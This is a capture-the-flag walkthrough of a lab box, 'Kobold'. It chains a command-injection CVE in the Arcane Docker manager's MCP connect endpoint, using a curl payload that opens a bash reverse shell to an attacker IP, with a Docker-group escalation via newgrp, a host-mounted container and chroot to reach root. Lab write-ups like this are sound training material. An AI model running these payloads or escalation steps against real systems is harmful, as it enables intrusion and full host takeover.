Overview

Kobold is an easy Linux box that starts straightforwardly enough, a command injection CVE in a Docker management platform gets us a shell, but the root path genuinely catches you off guard for an easy box. There’s no kernel exploit, no SUID binary, no obvious sudoers entry. Instead it’s a Docker group privilege escalation that chains newgrp, a container with a mounted host filesystem, and chroot to land a root shell. Subtle, elegant, and the kind of thing that makes you feel silly once you see it.


Reconnaissance

nmap -sS -sV -sC -O -p- -Pn 10.129.245.50
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu
80/tcp   open  http     nginx 1.24.0 (redirects to https://kobold.htb/)
443/tcp  open  ssl/http nginx 1.24.0
3552/tcp open  ?        HTTP service (returns 200 on GET)

Port 3552 is the immediately interesting one. The nmap fingerprint shows a full HTTP response on a GET request, so something is actively serving content there. Add the domain and browse to it:

sudo nano /etc/hosts
# Add: 10.129.245.50   kobold.htb

Navigating to http://kobold.htb:3552 lands us on a login page for Arcane, a Docker management platform. The version is right there on the page: v1.13.0.

The main website on port 80/443 doesn’t have much going on, but while we’re here let’s run a virtual host scan to see if anything else is lurking:

gobuster vhost -u "https://kobold.htb" \
  -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt" \
  --append-domain --no-tls-validation

Two subdomains come back: mcp.kobold.htb and bin.kobold.htb. Add both to /etc/hosts and keep them in mind.


Initial Access: CVE-2026-23520

Arcane v1.13.0 is vulnerable to CVE-2026-23520, a command injection in the MCP (Model Context Protocol) connector service. The /api/mcp/connect endpoint accepts a JSON payload that specifies a command and arguments for spawning a server process. Those fields are passed directly to a shell without sanitisation, making it trivially injectable.

The attack is a single curl request. Set up a listener first:

nc -lvnp 4444

Then fire the payload at the MCP subdomain:

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverId": "shell1", "serverConfig": {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.14.45/4444 0>&1"], "env": {}}}'

Shell lands as ben. Grab the user flag at /home/ben/user.txt.

Stabilise the shell before continuing:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm

Post-Exploitation Enumeration

A couple of things stand out straight away.

ps aux confirms Docker is running, but trying any docker command as ben returns a permissions error, at least for now.

netstat -tulpn reveals a service on localhost port 8080:

curl http://127.0.0.1:8080

The response confirms this is a PrivateBin instance running internally. Worth noting for context.

Checking ben’s group memberships:

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

Ben is in the operator group. Running newgrp docker re-launches the shell with docker as the active GID. The operator group membership is what allows ben to switch into the docker group on demand, even without being a permanent listed member of it. Nothing in the initial id output screams “docker access”, which is exactly what makes this box feel sneaky for an easy rating.


Privilege Escalation: Docker Container Escape

Why Docker Socket Access Equals Root

Once docker is the active group, ben can read and write to /var/run/docker.sock. Access to the Docker socket is effectively root access on the host, Docker runs as root, and anyone who can talk to that socket can spin up containers with arbitrary flags, including mounting the entire host filesystem.

Step 1: Activate the Docker Group

newgrp docker

id
# uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

Docker commands now work:

docker ps
CONTAINER ID   IMAGE                               STATUS          NAMES
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   Up 41 minutes   bin

The PrivateBin container is running, and the image privatebin/nginx-fpm-alpine:2.0.2 is already pulled locally on the machine.

Step 2: Spin Up a Container with the Host Filesystem Mounted

docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2

Breaking down what each flag does:

  • --rm, clean up the container automatically on exit
  • -it, interactive TTY so we get a usable shell
  • -u 0, run as UID 0 (root) inside the container
  • --entrypoint sh, override the default entrypoint and drop straight into a shell
  • -v /:/mnt, mount the entire host filesystem to /mnt inside the container

We’re now root inside the container, with the host’s full filesystem sitting at /mnt.

Step 3: Chroot into the Host

chroot changes the apparent root directory for the current process to a specified path. By pointing it at /mnt, we make the process believe the host filesystem is /. Combined with running as root, this gives us a fully functional root shell on the actual host rather than just the container:

chroot /mnt sh
id
# uid=0(root) gid=0(root) groups=0(root)

Root flag is at /root/root.txt.


Attack Chain Summary

Step Detail
Recon nmap → Arcane Docker Management on port 3552, vhost scan → mcp.kobold.htb
Initial access CVE-2026-23520 command injection via /api/mcp/connect → shell as ben
User flag /home/ben/user.txt
Enumeration id shows operator group, newgrp docker activates docker socket access
Container escape docker run with -u 0 -v /:/mnt mounts host filesystem as root
Chroot chroot /mnt sh pivots container root shell into host root shell
Root flag /root/root.txt